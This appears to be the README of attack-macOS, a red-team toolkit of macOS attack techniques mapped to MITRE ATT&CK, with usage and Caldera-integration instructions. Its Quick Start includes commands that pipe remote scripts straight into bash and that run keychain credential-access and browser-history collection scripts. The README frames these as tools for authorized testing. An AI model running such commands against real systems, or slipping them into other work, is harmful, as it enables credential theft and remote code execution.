| | | ![T1574.004](https://img.shields.io/badge/T1574.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Dylib Hijacking | | ![T1036.004](https://img.shields.io/badge/T1036.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Masquerade Task or Service | | | | | | | |
| | | ![T1078.003](https://img.shields.io/badge/T1078.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Local Accounts | | ![T1647](https://img.shields.io/badge/T1647-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Plist File Modification | | | | | | | |
| | | | | ![T1542](https://img.shields.io/badge/T1542-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Pre-OS Boot | | | | | | | |
| | | | | ![T1562.010](https://img.shields.io/badge/T1562.010-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Downgrade Attack | | | | | | | |
| | | | | ![T1497](https://img.shields.io/badge/T1497-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Virtualization/Sandbox Evasion | | | | | | | |
| | | | | ![T1480](https://img.shields.io/badge/T1480-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Execution Guardrails | | | | | | | |
| | | | | ![T1205.001](https://img.shields.io/badge/T1205.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Port Knocking | | | | | | | |
| | | | | ![T1564.002](https://img.shields.io/badge/T1564.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Hidden Users | | | | | | | |
| | | | | ![T1562.003](https://img.shields.io/badge/T1562.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Impair Command History Logging | | | | | | | |
| | | | | ![T1497.002](https://img.shields.io/badge/T1497.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)User Activity Based Checks | | | | | | | |
| | | | | ![T1562.001](https://img.shields.io/badge/T1562.001-lightgrey?style=for-the-badge&label=%20!%20&labelColor=ffde59&color=494949)Disable or Modify Tools | | | | | | | |
| | | | | ![T1574](https://img.shields.io/badge/T1574-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Hijack Execution Flow | | | | | | | |
| | | | | ![T1027.005](https://img.shields.io/badge/T1027.005-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Indicator Removal from Tools | | | | | | | |
| | | | | ![[T1078](https://raw.githubusercontent.com/darmado/ttp/initial_access/guest_account.sh)](https://img.shields.io/badge/T1078-lightgrey?style=for-the-badge&label=%202%20&labelColor=3bc05a&color=494949)Valid Accounts | | | | | | | |
| | | | | ![T1564.009](https://img.shields.io/badge/T1564.009-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Resource Forking | | | | | | | |
| | | | | ![[T1027](https://raw.githubusercontent.com/darmado/ttp/discovery/browser_history.sh)](https://img.shields.io/badge/T1027-lightgrey?style=for-the-badge&label=%202%20&labelColor=3bc05a&color=494949)Obfuscated Files or Information | | | | | | | 
| | | | | ![T1556.006](https://img.shields.io/badge/T1556.006-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Multi-Factor Authentication | | | | | | | |
| | | | | ![T1036.001](https://img.shields.io/badge/T1036.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Invalid Code Signature | | | | | | | |
| | | | | ![T1564.006](https://img.shields.io/badge/T1564.006-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Run Virtual Instance | | | | | | | |
| | | | | ![T1553](https://img.shields.io/badge/T1553-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Subvert Trust Controls | | | | | | | |
| | | | | ![T1548.004](https://img.shields.io/badge/T1548.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Elevated Execution with Prompt | | | | | | | |
| | | | | ![T1036.003](https://img.shields.io/badge/T1036.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Rename System Utilities | | | | | | | |
| | | | | ![T1562.011](https://img.shields.io/badge/T1562.011-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Spoof Security Alerting | | | | | | | |
| | | | | ![[T1027.003](https://raw.githubusercontent.com/darmado/ttp/discovery/browser_history.sh)](https://img.shields.io/badge/T1027.003-lightgrey?style=for-the-badge&label=%201%20&labelColor=3bc05a&color=494949)Steganography | | | | | | | |
| | | | | ![T1078.002](https://img.shields.io/badge/T1078.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Domain Accounts | | | | | | | |
| | | | | ![T1553.004](https://img.shields.io/badge/T1553.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Install Root Certificate | | | | | | | |
| | | | | ![T1027.004](https://img.shields.io/badge/T1027.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Compile After Delivery | | | | | | | |
| | | | | ![T1564.007](https://img.shields.io/badge/T1564.007-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)VBA Stomping | | | | | | | |
| | | | | ![T1656](https://img.shields.io/badge/T1656-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Impersonation | | | | | | | |
| | | | | ![T1564.003](https://img.shields.io/badge/T1564.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Hidden Window | | | | | | | |
| | | | | ![T1070.009](https://img.shields.io/badge/T1070.009-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Clear Persistence | | | | | | | |
| | | | | ![T1027.006](https://img.shields.io/badge/T1027.006-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)HTML Smuggling | | | | | | | |
| | | | | ![T1027.010](https://img.shields.io/badge/T1027.010-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Command Obfuscation | | | | | | | |
| | | | | ![T1070.004](https://img.shields.io/badge/T1070.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)File Deletion | | | | | | | |
| | | | | ![T1027.002](https://img.shields.io/badge/T1027.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Software Packing | | | | | | | |
| | | | | ![T1564.005](https://img.shields.io/badge/T1564.005-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Hidden File System | | | | | | | |
| | | | | ![T1622](https://img.shields.io/badge/T1622-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Debugger Evasion | | | | | | | |
| | | | | ![T1036.006](https://img.shields.io/badge/T1036.006-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Space after Filename | | | | | | | |
| | | | | ![T1548.006](https://img.shields.io/badge/T1548.006-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)TCC Manipulation | | | | | | | |
| | | | | ![T1564.001](https://img.shields.io/badge/T1564.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Hidden Files and Directories | | | | | | | |
| | | | | ![T1480.001](https://img.shields.io/badge/T1480.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Environmental Keying | | | | | | | |
| | | | | ![T1556](https://img.shields.io/badge/T1556-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Modify Authentication Process | | | | | | | |
| | | | | ![T1574.004](https://img.shields.io/badge/T1574.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Dylib Hijacking | | | | | | | |
| | | | | ![T1078.003](https://img.shields.io/badge/T1078.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Local Accounts | | | | | | | |
| | | | | ![T1211](https://img.shields.io/badge/T1211-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Exploitation for Defense Evasion | | | | | | | |

</details>
</div>

## Quick Start

### Using attackmacos.sh Handler

```sh
# 1. Clone the repository
git clone https://github.com/darmado/attack-macOS.git
cd attack-macOS

# 2. Local execution using the handler
./attackmacos/attackmacos.sh --method local --tactic discovery --ttp browser_history --args='-s'

# 3. Remote execution using the handler
./attackmacos/attackmacos.sh --method curl --tactic credential_access --ttp keychain --args='--verbose --encode base64'

# 4. List available TTPs for a tactic
./attackmacos/attackmacos.sh --list-local --tactic discovery
./attackmacos/attackmacos.sh --list-remote --tactic credential_access

# 5. Show banner and help
./attackmacos/attackmacos.sh --banner --help
```

### Handler Dependencies
The `./attackmacos/attackmacos.sh` handler script requires:
*   A POSIX-compliant shell (e.g., bash, zsh, sh).
*   `curl` or `wget` for remote script execution (when using `--method curl` or `--method wget` respectively).
*   `osascript` if using the `--method osascript` (this is a standard component of macOS).

### Caldera Integration

```sh
# 1. Build and sync Caldera plugin
python cicd/build/procedure_shell.py --sync-caldera

# 2. Copy plugin to Caldera
cp -r integrations/caldera/plugins/attackmacos /path/to/caldera/plugins/

# 3. Restart Caldera server
# Caldera operations will then include the plugin abilities.

# 4. Use with facts in Caldera
# Set fact: user.arg = "--safari --chrome --search malware"
# Execute ability: browser_history
```

**Caldera Documentation:** [Caldera Plugin Guide](integrations/caldera/plugins/attackmacos/docs/)

### Local Execution (Direct)

```sh
# 1. Clone the repository
git clone https://github.com/darmado/attack-macOS.git
cd attack-macOS

# 2. Run a technique directly
./ttp/discovery/shell/system_info.sh

# 3. Run with custom parameters
./ttp/credential_access/shell/keychains.sh --verbose --log-output --encode base64

# 4. Build a procedure from YAML (from repo root)
python3 cicd/build/procedure_shell.py attackmacos/core/config/system_info.yml
```

### Remote Execution (Direct)

```sh
# 1. Execute directly from GitHub without cloning
curl -s https://raw.githubusercontent.com/darmado/attack-macOS/main/ttp/discovery/shell/system_info.sh | bash

# 2. Download and execute with parameters
curl -s https://raw.githubusercontent.com/darmado/attack-macOS/main/ttp/credential_access/shell/keychains.sh | bash -s -- --verbose --log-output --encode base64

# 3. Execute specific technique with wget
wget -qO- https://raw.githubusercontent.com/darmado/attack-macOS/main/ttp/discovery/shell/browser_history.sh | bash
```

## Integrations

### Third-party integration docs and security

- **[Integrations index](docs/Integrations/README.md)** — GitHub (`gh`), Caldera, and future vendor touchpoints.
- **[Third-party security baseline](docs/Integrations/third_party_security.md)** — generic minimums; links to per-integration pages (e.g. [GitHub](docs/Integrations/github_repo_interaction.md)).
- **Project site (GitHub Pages)** — after you enable Actions-based Pages, the URL will be **`https://darmado.github.io/attack-macOS/`** (see `docs/Design/website_docs_pipeline.md` and `.github/workflows/pages.yml`).

### Shipped procedures, upstreams, and maintainer scripts

[Shipped procedures: upstream sources and maintainer scripts](docs/Shipped_procedures_upstream_sources_and_maintainer_scripts.md)

### Coding standards

[Coding and documentation standards](docs/Standards/README.md)

### Caldera Plugin
**Repository:** [https://github.com/darmado/caldera-plugin-attack-macos](https://github.com/darmado/caldera-plugin-attack-macos)

Native Caldera plugin for seamless integration with red team operations. The plugin transforms attack-macOS YAML configurations into ready-to-execute abilities using a full command approach.

## Disclaimer (authorized use only)

This repository is intended for **authorized security research**, **defensive validation**, and **red-team exercises with explicit written permission** on systems you own or are contracted to assess.

**The project owner and contributors are not responsible** for misuse of scripts, procedures, or documentation—including unlawful access, disruption, or harm. You are solely responsible for complying with applicable laws and organizational policy. See also [SECURITY.md](SECURITY.md).

## Credits

attack-macOS builds on public research and community catalogs (this project is independent and not endorsed by them):

| Resource | Link |
|----------|------|
| **Atomic Red Team** | [https://github.com/redcanaryco/atomic-red-team](https://github.com/redcanaryco/atomic-red-team) |
| **MITRE ATT&CK** | [https://attack.mitre.org/](https://attack.mitre.org/) — framework; data and repos: [MITRE ATT&CK GitHub](https://github.com/mitre-attack) |
| **LOOBins** (Living Off the Land binaries, macOS) | [https://www.loobins.io/](https://www.loobins.io/) — reference catalog; optional tooling: [PyLOOBins](https://www.loobins.io/docs/api/pyloobins/) |

Upstream and attribution detail for shipped content is summarized in [Shipped procedures: upstream sources and maintainer scripts](docs/Shipped_procedures_upstream_sources_and_maintainer_scripts.md).

## License

Apache License 2.0. [LICENSE](LICENSE)

attack-macOS

attack-macOS Latest Version Download

Today's picks

Was this content helpful?

Recent Feedback

attack-macOS

attack-macOS Latest Version Download

Today's picks

Was this content helpful?

Recent Feedback

Download README